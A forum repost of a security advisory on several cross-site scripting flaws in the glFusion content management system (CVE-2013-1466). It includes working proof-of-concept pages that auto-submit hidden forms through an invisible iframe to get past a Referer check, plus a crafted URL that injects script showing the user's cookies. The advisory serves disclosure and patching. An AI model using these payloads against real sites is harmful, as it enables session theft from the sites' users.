Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 36 guests online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Malwarearrow Advisoriesarrow HTB23142: Multiple Cross-Site Scripting (XSS) in glFusion
EH-Net
May 19, 2013, 12:23:10 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: HTB23142: Multiple Cross-Site Scripting (XSS) in glFusion  (Read 1306 times)
0 Members and 1 Guest are viewing this topic.
AndyP
Newbie
*
Offline Offline

Posts: 29


View Profile
« on: February 20, 2013, 07:46:23 AM »

Advisory ID: HTB23142
https://www.htbridge.com/advisory/HTB23142
Product: glFusion
Vendor: glfusion.org
Vulnerable Versions: 1.2.2 and probably prior
Tested Version: 1.2.2
Vendor Notification: January 30, 2013
Vendor Fix: January 30, 2013
Public Disclosure: February 20, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1466
Risk Level: Medium
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab
 

Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.
glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .

1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466
1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
Code:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'
html += '<input type="hidden" name="uid" value="2">'
html += '<input type="hidden" name="author" value="author">'
html += '<input type="hidden" name="message" value="1">'
html += '<input type="hidden" name="message_html" value="1">'
html += '<input type="hidden" name="authoremail" value="mail@mail.com">'
html += '<input type="hidden" name="postmode" value="html">'
html += '<input type="hidden" name="what" value="contact">'
html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>

1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
Code:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="savecal" value="Submit">'
html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>

1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
Code:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/links/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(1);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(2);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>

1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's cookies:
Code:
http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E/

Solution:
Upgrade to glFusion v1.2.2.pl4

More Information:
http://www.glfusion.org/article.php/glf122_update_20130130_01

References:
[1] High-Tech Bridge Advisory HTB23142 - https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting (XSS) in glFusion.
[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content management system developed in PHP providing blog, forum, gallery, downloads.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.069 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.